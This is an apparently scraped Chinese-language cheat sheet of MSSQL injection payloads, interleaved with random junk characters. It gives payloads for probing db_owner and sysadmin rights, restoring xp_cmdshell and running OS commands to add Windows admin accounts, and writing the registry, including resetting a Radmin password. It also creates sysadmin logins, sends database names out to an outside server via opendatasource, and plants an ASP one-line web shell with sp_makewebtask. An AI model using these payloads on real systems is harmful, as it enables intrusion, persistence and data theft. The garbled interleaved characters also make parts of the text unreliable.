//看看是什么权限的1 ^; T% K1 R% f
and 1=(Select IS_MEMBER('db_owner'))
% ~ d- b5 u3 H0 w2 FAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--5 @) a$ L! x1 K \5 @, s
* T4 r1 y' N# b4 e2 ?
//检测是否有读取某数据库的权限+ {1 d* P+ G& o0 r9 n! G3 g4 h& {9 p
and 1= (Select HAS_DBACCESS('master'))
. P- h4 d2 k" h7 w KAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --: Q5 [( ~% f* L- Y# r! n8 r$ V" C( T
. e6 K$ q M3 x9 z8 z
8 v9 i5 Q, I! `( p' I: O+ c
数字类型
+ P3 |. X, N1 D5 C% \and char(124)%2Buser%2Bchar(124)=0
+ j5 t- U/ @! E: `5 m3 F" m# r! J4 f, A
字符类型$ _, t- q8 e6 v6 Y8 v
' and char(124)%2Buser%2Bchar(124)=0 and ''='
( j; `) h/ M5 f! h! ?
3 q* R3 [. w! U0 m0 e搜索类型9 T- O' x7 P: k3 A" b
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
' Z p' B& x+ M3 N/ h' |7 c2 R
+ V* ~& U8 |# b6 L( Y7 ]爆用户名5 {, ?% ` T. T7 V& c" B; R" H
and user>0
0 s8 h2 i! D0 ~& `$ ?: v' and user>0 and ''='1 d8 j; Q$ h U: G% E- c" @ m+ S
$ J4 ^, f: ~. n4 l# X
检测是否为SA权限# [- w! m! H, g% m
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--( r4 c" Y" _4 {7 ^$ @' Y
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --9 p' }& g( p: d' R# `
( s- Y( \- k q; U# F8 ~检测是不是MSSQL数据库$ e8 }& R- o+ m- Z9 {, q9 Q- q$ _. B
and exists (select * from sysobjects);--
$ F1 L* o/ C3 m4 z
3 e2 z# p! Y# ~7 `检测是否支持多行
( z+ @1 G) A C) `! C9 J;declare @d int;--
4 a+ W$ L0 {9 j" n" {
5 [1 u# ^! d) }& B恢复 xp_cmdshell6 o. @6 O* E- Y6 U
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
8 B6 ~( L3 T& u; }( y( t* b- k. i) G6 g
: m1 t3 \8 c1 S; J3 u' d1 a# }
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')& T; `9 G R& ?1 Q9 Q6 E& K
% x7 i7 T: ]" l) A//-----------------------
0 W; J: b5 N7 z7 P: g// 执行命令$ B" N; g" o `9 d
//-----------------------
1 z4 P3 c0 ] B, r' t9 U: W首先开启沙盘模式:
4 _% ]( Z! ?$ l- }! M' Z6 p+ s3 [exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1: U% s3 i4 b4 |' d# N
/ B& U7 ]4 C% h y9 L1 D& \# X" p
然后利用jet.oledb执行系统命令
0 _3 H: T7 C/ z/ A0 W* Cselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'), D; ?9 ^- w; ]- j( I' ~
" M) i6 l, r. P& ~5 l* ]7 u
执行命令! C6 d% y4 b+ Z4 ~" W& ?; W
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--6 R$ B! s1 `: m% B
0 m7 e/ B% N u# i" D+ iEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
0 G7 o$ T/ s/ o0 A% A) l
0 f% b5 a3 K, x6 M判断xp_cmdshell扩展存储过程是否存在:
7 m' {4 Z. [' F/ E: s5 G" Hhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
7 I8 r7 ?2 J& u8 f' o3 a- v! a- q8 Y0 g! a$ u* _( J+ s& e
写注册表
3 R. f3 m) [# t% Q. P% M" C; Xexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
4 W& B% e8 x2 M' Z2 q
5 x) g6 h7 s) S$ H- ~9 QREG_SZ
( y' ~) y! h( X
4 |) Q0 G2 {3 N7 O8 z3 W6 F读注册表- Z/ G6 v' ?4 u0 R
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
- M" g Y( ~: B* B. M$ m4 g1 E. d. u
读取目录内容; X9 y, b/ R# T/ Q' H
exec master..xp_dirtree 'c:\winnt\system32\',1,1* ]) y% S2 \( z a
" x5 q& v( ?, |' [/ U# Y$ {0 t
( G, H1 r+ C3 C) R5 p数据库备份
n3 G# P9 ]$ c0 ]' ]backup database pubs to disk = 'c:\123.bak'$ x% m% {$ C1 X4 t$ F
7 }9 a9 w1 L- M4 a4 o//爆出长度
2 m$ M! J5 z2 [% o; k6 S4 MAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
6 A/ [" E1 R1 Q! {. x3 B9 a- p
7 r7 N2 }% j6 T7 s$ Y3 i7 Q% Y1 ~& O7 ^/ a* u7 b5 d& U/ ^
0 g5 p5 Q! [4 `: [# {4 j+ p& a
更改sa口令方法:用sql综合利用工具连接后,执行命令:, y9 o3 t K9 T% ?! E
exec sp_password NULL,'新密码','sa'
4 ?1 c. f; D! R5 g' f/ n- s+ c7 s q' ~% c$ n- m7 Z3 I; c8 u
添加和删除一个SA权限的用户test:
4 c( g& o7 _$ [+ }) a' y- Gexec master.dbo.sp_addlogin test,9530772$ M R% E4 W; o/ G* `- ]* `4 |
exec master.dbo.sp_addsrvrolemember test,sysadmin, c1 s) `2 p. b( I6 } x
, A& e1 y: G) z/ ]
删除扩展存储过过程xp_cmdshell的语句:
9 O! ~/ i9 N$ U8 `% n9 f* pexec sp_dropextendedproc 'xp_cmdshell'
0 U% E+ Z) |0 d/ V7 \
7 D, w/ K( e$ k添加扩展存储过过程
1 o: W* W6 K0 d/ s/ L# JEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'( A& ?1 Z6 Z; O5 c1 t( p5 ]7 l9 a
GRANT exec On xp_proxiedadata TO public1 x" c! T5 p2 \. y5 u0 G3 D
2 R: R2 p+ S+ q) Z$ O
u& }- n; S: R3 U; @" {- d& F停掉或激活某个服务。
$ }+ F* ?6 z7 a7 s+ k9 _; D3 q2 i9 L) @$ C% ~& o) I# J7 U! S2 [
exec master..xp_servicecontrol 'stop','schedule'
: O" d5 k0 b2 k- K" k/ E texec master..xp_servicecontrol 'start','schedule'& a: F4 u" |- A! m; E, A9 i: L
- v# W+ q. v, f& o( b s
dbo.xp_subdirs
3 U' O2 m$ y- K3 D! S
" v( @& ^- |% ?6 }) g只列某个目录下的子目录。5 B! e0 W( c' U/ `7 h) o' R
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'7 Z8 k, u9 w( d
- W( i3 ?5 r( J) Ydbo.xp_makecab. I* k* a& T0 @3 q7 w
+ B) v" H& f$ {- D* D. J将目标多个档案压缩到某个目标档案之内。& c% W' d& j" W _" a1 j+ `
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
. V3 F5 c& h2 Z/ ^( a- _: r- U7 e8 u' y: X/ G! O4 V% p
dbo.xp_makecab' F" f/ ~) O' p [6 d2 i
'c:\test.cab','mszip',1,; K: Q9 v+ R) w: ?% s5 U: A
'C:\Inetpub\wwwroot\SQLInject\login.asp',& i0 n6 h3 Y- x+ @8 h
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
. S% Y: [/ f8 k3 P# B" Z3 {/ m+ u6 ?. Y& V" W
xp_terminate_process
9 g0 Y. V) |8 j9 p, b" G+ U; n6 F" q" ^; h; |" ]
停掉某个执行中的程序,但赋予的参数是 Process ID。
8 y; u4 {3 p1 ~利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID) U/ ?1 ?& R2 u1 S. Q
N- O: Z. ?; b: V/ pxp_terminate_process 2484( D- l D8 s4 V8 w! ^: @' k( r9 o
9 C8 s) v2 Y2 x4 K8 d& N' ?3 h d
xp_unpackcab* v& } {9 q1 v, ^
2 S6 z: u/ W; ~1 k: w9 t9 \
解开压缩档。/ `$ [* f7 F8 \7 Z9 Y6 B* |4 J
6 F3 I9 Q, y$ l8 l) z
xp_unpackcab 'c:\test.cab','c:\temp',1! E8 N4 ?3 Y& q
7 j8 f5 ?" }/ M% D& M% `* ^! W8 C2 ~& o
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
7 p# l* {3 H' W" a0 y3 W; g
6 h0 R8 `' g3 n( ]( M3 |& x( Ncreate database lcx;
4 X* r: Y2 Y0 M3 r& e8 t% [Create TABLE ku(name nvarchar(256) null);& ], A! T2 p- t5 F
Create TABLE biao(id int NULL,name nvarchar(256) null);' y8 F# {# r: p9 K
( a8 e# h& G4 V
//得到数据库名7 i% P" N$ e5 R% X0 O* f
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
; D' {3 z! u: ?6 a, L2 K) o* e! j$ E6 ?/ P0 U
# R# O" w. x% @, I//在Master中创建表,看看权限怎样
6 e8 o( ~" s) L3 r; B3 y6 q- Z/ RCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--2 Q; I) c0 V; u" B& `
$ n8 X, r7 B) I6 L) M
用 sp_makewebtask直接在web目录里写入一句话马:; j# H s" g) X4 ?3 f e, @
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--0 N, y4 }/ k. ?6 x
7 K7 ]$ _8 R1 d3 }7 B
//更新表内容7 A* W( W# u' U+ l% C
Update films SET kind = 'Dramatic' Where id = 123
9 W, u' M4 I$ T$ V& u0 c; ~
: q+ F8 `2 S; \1 S; z//删除内容
1 v8 j' e' W4 W! x% Gdelete from table_name where Stockid = 3 |